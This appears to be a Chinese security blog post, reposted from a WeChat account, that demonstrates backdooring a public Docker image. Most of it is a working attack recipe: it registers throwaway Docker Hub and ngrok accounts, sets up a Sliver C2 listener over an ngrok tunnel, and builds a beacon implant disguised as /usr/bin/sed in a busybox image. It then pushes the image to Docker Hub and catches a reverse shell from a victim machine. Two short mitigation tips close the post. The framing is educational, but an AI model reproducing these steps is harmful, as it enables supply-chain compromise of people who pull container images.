总结
在本文中,我将向您展示使用非官方 Docker 镜像的危险。攻击者可能会上传包含恶意应用程序或后门的“脏容器”,以便稍后访问该容器。
免責聲明
本文仅供参考和教育目的,适合那些愿意并好奇地了解和学习安全和渗透测试的人。不得将内容用于非法目的。如果您准备好学习新事物,请继续阅读。上传自己的 Docker 镜像时,请确保您的操作符合 Docker 服务服务条款 (https://www.docker.com/legal/docker-terms-service)。
详
现代部署使用某种 CI/CD 管道。CI/CD 管道非常有用,但它们也存在下载恶意或 “脏容器” 的风险。“脏容器”是故意创建的易受攻击的容器,没有任何明确警告。
2022 年,网络安全公司 Sysdig 对 Docker Hub 中的恶意镜像进行了调查。调查显示,在分析的 250,000 张图像中,有 1,652 张图像被归类为恶意 (https://sysdig.com/blog/analysis-of-supply-chain-attacks-through-public-docker-images)。
为什么这很危险?
攻击者可以有针对性地放置一个“脏容器”,并将其用作进入目标网络的“垫脚石”。此外,这些容器可能包含加密挖矿程序。
在接下来的部分中,我将向您展示攻击者如何创建所谓的 “脏容器” 并将其上传到公共容器存储库 (Docker Hub)。一旦受害者下载了该容器,它就会以静默方式与攻击者建立基于 mTLS 信标的(反向 shell)连接。受害者可以以 Docker 容器或 Kubernetes pod 的形式下载此容器。
我们的测试设置由以下软件组件组成:
-
码头工人;上传和下载“脏容器”
-
银;Sliver 是一个红队运营框架
-
恩格罗克;创建从 “脏容器” 到攻击者计算机的隧道
-
可选:Kubernetes;将 'dirty container' 下载为 Pod
POC 由 2 台计算机组成:一台用于创建脏容器的攻击者计算机 (Kali Linux, 192.168.62.161)) 和一台运行 Docker (Ubuntu, 192.168.62.177) 的受害计算机。
首先,我们必须准备我们的系统:
-
在 Docker Hub 上创建帐户 (https://hub.docker.com/)
-
在 Ngrok (https://ngrok.com/ 创建一个帐户)
-
安装 Docker
-
安装 ngrok 客户端
-
安装 Sliver 框架 (https://bishopfox.com/tools/sliver)
当我们准备好系统后,我们将继续我们的 PoC。
-
在攻击者计算机 Kali Linux 上执行
获取临时电子邮件地址以注册 Docker Hub。您可以获得一个 10 分钟的邮箱,其中包含 https://www.minuteinbox.com/
2. 在攻击者机器 Kali Linux 上执行
使用临时电子邮件地址注册 Docker Hub。导航到 https://hub.docker.com/signup
提供以下信息:
姓名:<您的真实姓名或假姓名>
电子邮件:[email protected](见 minuteinbox.com)
密码:<YourPassword>
对于此方案,我们将使用工具 ngrok (https://ngrok.com/)。Ngrok 用于在 ngrok 云服务器和 Kali Linux 攻击者的系统之间设置 VPN 隧道。来自 Linux 目标系统的出站流量将通过 ngrok VPN 隧道路由,最后路由到 Kali 系统。因此,请务必提前征得许可,这(ngrok 用法)是否属于 “参与规则” 。仅当目标 VM 具有出站 Internet 访问权限时,此方案才有效。
3. 在攻击者机器 Kali Linux 上执行
安装 ngrok.打开 Bash 终端并执行下面代码框中的命令。
cd /tmp
wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz
sudo tar xvzf /tmp/ngrok-v3-stable-linux-amd64.tgz
sudo chown -R root:root /tmp/ngrok
sudo mv /tmp/ngrok /usr/local/bin
ngrok version
4. 在攻击者机器 Kali Linux 上执行
向 ngrok 注册一个帐户 (API 访问)。对于注册,您可以使用临时电子邮件地址(请参阅步骤 1)
5. 在攻击者机器 Kali Linux 上执行
在 https://dashboard.ngrok.com/get-started/setup 中,复制并粘贴 ngrok API 令牌。
6. 在攻击者机器 Kali Linux 上执行
安装 ngrok API 密钥。
ngrok config add-authtoken 2OVFgvlBTGDipmNkHbGpI<redacted>
我们将使用Sliver作为攻击C&C服务器。Sliver (Go-lang) 是 BishopFox (https://github.com/BishopFox/sliver/wiki/Getting-Started) 的产品。Sliver 的优势(相对于 MetaSploit)是能够使用信标代替持久会话。
7. 在攻击者机器 Kali Linux 上执行
安装 sliver-server。在此 PoC 中,我们将使用 1.5.39 版本。检查 https://github.com/BishopFox/sliver/releases 以获取最新版本。
# install mingw-64 dependancies
sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
# install sliver server 1.5.39 in /tmp
wget https://github.com/BishopFox/sliver/releases/download/v1.5.39/sliver-server_linux -O /tmp/sliver-server_linux
cd /tmp
chmod +x sliver-server_linux
./sliver-server_linux
8. 在攻击者机器 Kali Linux 上执行
现在,安装 Docker 社区版(参见 https://www.kali.org/docs/containers/installing-docker-on-kali/)
# add docker repro
printf '%sn' "deb https://download.docker.com/linux/debian bullseye stable" | sudo tee /etc/apt/sources.list.d/docker-ce.list
# add key for docker repro
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /etc/apt/trusted.gpg.d/docker-ce-archive-keyring.gpg
# install docker
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io
# Start the Docker engine service.
sudo service docker start
sudo service docker status
运行此 PoC 所需的所有组件都已安装。
9. 在攻击者机器 Kali Linux 上执行
打开一个新的终端选项卡并重命名为 “NGROK”。设置映射到本地端口 9999 的 ngrok 隧道。
# Start the ngrok TCP tunnel to be used with sliver-server
ngrok tcp 9999
记下 ngrok 隧道地址 (tcp://4.tcp.eu.ngrok.io:10747)。
10. 在攻击者机器 Kali Linux > Sliver 控制台上执行
打开一个新的终端选项卡并启动 Sliver-server(请参阅步骤 4)。设置 sliver mTLS 侦听器。
# start sliver server
cd /tmp
./sliver-server_linux
# Sliver console: Start a mtls listener on port 9999.
mtls -l 999
11. 在攻击者机器 Kali Linux > Sliver 控制台上执行
生成 Linux mTLS 植入程序 ( /tmp/sliver_mtls_linux-beacon)。注意 使用步骤 9 中的 ngrok 隧道地址 (IP 和端口) 。
# Generate a Linux mtls beacon client. Note the address must correspond with ngrok tunnel address
generate beacon -m 4.tcp.eu.ngrok.io:10747 -e -o Linux -s /tmp/sliver_mtls_linux-beacon
12. 在攻击者机器 Kali Linux 上执行
您可以测试生成的植入是否连接到 sliver 服务器侦听器。
# test the payload
/tmp/sliver_mtls_linux-beacon
检查 sliver 控制台是否有传入连接。
Beacon 99c58eda 出现。我们有一个反向 shell 连接。
13. 在攻击者机器上执行,Kali Linux > sliver 控制台
断开 Beacon 连接。注意:您的连接 ID 可能与步骤 12 中显示的 ID 不同。
use 99c58ed5
kill
在步骤 12 和 13 中,我们验证了我们有一个可以与恶意 Docker 镜像一起使用的工作植入物。
14. 在攻击者机器 Kali Linux 上执行
在下一步中,我们将有效负载复制到目录 /tmp/container,并将其重命名为“sed”(Linux 上的 Steam 编辑器)。
# copy the payload to a directory /tmp/container and rename it to 'sed'
cd /tmp
mkdir container
source=/tmp/sliver_mtls_linux-beacon
cp $source /tmp/container/
mv /tmp/container/$(echo $source | cut -d "/" -f 3) /tmp/container/sed
15. 在攻击者机器 Kali Linux 上执行
现在我们可以创建 Dockerfile 来为恶意 Docker 镜像提供说明。
我们将使用轻量级的 'busybox' 镜像,并将我们的恶意文件 (/tmp/container/sed) 复制到 /usr/bin/sed。这个文件实际上是启动反向 shell 连接到攻击者的 C&C 服务器的银色植入物。
cat << EOF > /tmp/container/Dockerfile
FROM busybox
COPY sed /usr/bin/sed
CMD ["/usr/bin/sed"]
EOF
16. 在攻击者机器 Kali Linux 上执行
是时候构建我们的恶意 Docker 镜像了。使用您的 Docker 账户名称标记映像(请参阅步骤 2)。
选项 ' — network=host' 非常危险。这将在容器和主机网络之间创建一个桥梁。容器与其主机共享相同的 IP 地址,并且能够访问本地网络中的所有计算机。
# Build the sliver injected container in local Docker repository (based on Dockerfile)
cd /tmp/container/
DockerUser=nolwhitehat
docker build --network=host -t $DockerUser/busybox .
检查您的本地映像注册表。
docker image ls
17. 在攻击者机器 Kali Linux 上执行
现在,运行带后门程序的 Docker 容器,并检查它是否会导致反向 shell 连接。
# run the docker container (local repository)
DockerUser=nolwhitehat
docker run --rm --network=host -it -d $DockerUser/busybox
检查 sliver 控制台是否有传入连接。
信标 09ebc415 出现。通过运行 Docker 容器,我们有一个反向 shell 连接!
断开信标连接(请参阅步骤 13 了解预期输出)。
use 09ebc415
kill
在步骤 14、15、16 和 17 中,我们验证了我们有一个有效的恶意 Docker 镜像。我们可以将此恶意镜像上传到 Docker Hub。
上传此 Docker 映像时,请确保您的操作符合 Docker 服务服务条款 (https://www.docker.com/legal/docker-terms-service)。这意味着您必须描述图像的意图和该图像的内容。
18. 在攻击者机器 Kali Linux 上执行
将本地镜像推送到 Docker Hub。
# login Docker Hun
DockerUser=nolwhitehat
docker login -u $DockerUser
# Push the image to the repository.
docker push $DockerUser/busybox
19. 在攻击者机器 Kali Linux 上执行
描述图像的意图。
-
打开 Web 浏览器并导航到 https://hub.docker.com
-
使用 Docker Hub 帐户登录(请参阅步骤 2)
-
向图像添加描述和概述
20. 在受害者机器 Ubuntu 上执行
是时候像受害者一样下载上传的恶意图像了。两个 Docker 运行时选项是危险的:
-
— netwerk=host > 这将把容器与主机网络连接起来。
-
— pid=host >这将允许容器访问主机进程。
# run the docker container (Docker Hub repository)
DockerUser=nolwhitehat
docker run --rm --network=host --pid=host -it -d $DockerUser/busybox
21. 在攻击者机器 Kali Linux 上执行
检查 sliver 控制台是否有传入连接。
信标 bb7d7a9c 出现。通过从 Docker Hub 运行 Docker 容器,我们有一个反向 shell 连接!
在 Sliver 控制台中,与容器交互
use bb7d7a9c<tab key>
现在我们访问了目标容器。我们可以启动攻击者利用后选项。例如,枚举已登录的用户和网络配置。
在 Sliver 控制台中,执行一些命令:
whoami
ifconfig
从这一点开始,攻击者可以继续进行他的后利用。
缓解措施
1. 仅下载官方镜像
属于 Docker 官方镜像的镜像在 Docker Hub 上有一个特殊徽章,使您更容易识别属于官方 Docker 镜像 (https://docs.docker.com/docker-hub/official_images/) 的项目。
2. 使用容器漏洞扫描程序
在将特定容器部署到生产环境之前,请先将其下载到隔离的系统上并扫描其漏洞。您可以在 GeekFlare (https://geekflare.com/container-security-scanners/) 上找到容器扫描程序的列表。
引用
https://www.sans.org/cyber-security-courses/cloud-penetration-testing/
https://hub.docker.com/
https://ngrok.com
https://bishopfox.com/tools/sliver
https://sysdig.com/blog/analysis-of-supply-chain-attacks-through-public-docker-images
https://medium.com/@mayankshah1607/docker-security-backdooring-images-with-dockerscan-ace5ff65bd39
https://tbhaxor.com/hunting-malicious-binaries-in-containers/
其它课程
QT开发底层原理与安全逆向视频教程(2024最新)
linux恶意软件开发对抗与基于ebpf网络安全视频教程(2024最新)
linux文件系统存储与文件过滤安全开发视频教程(2024最新)
linux高级usb安全开发与源码分析视频教程
linux程序设计与安全开发
-
windows恶意软件开发与对抗视频教程
-
-
-
windows网络安全防火墙与虚拟网卡(更新完成)
-
-
windows文件过滤(更新完成)
-
-
USB过滤(更新完成)
-
-
游戏安全(更新中)
-
-
ios逆向
-
-
windbg
-
-
还有很多免费教程(限学员)
-
-
-
更多详细内容添加作者微信
-
-
原文始发于微信公众号(安全狗的自我修养):PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论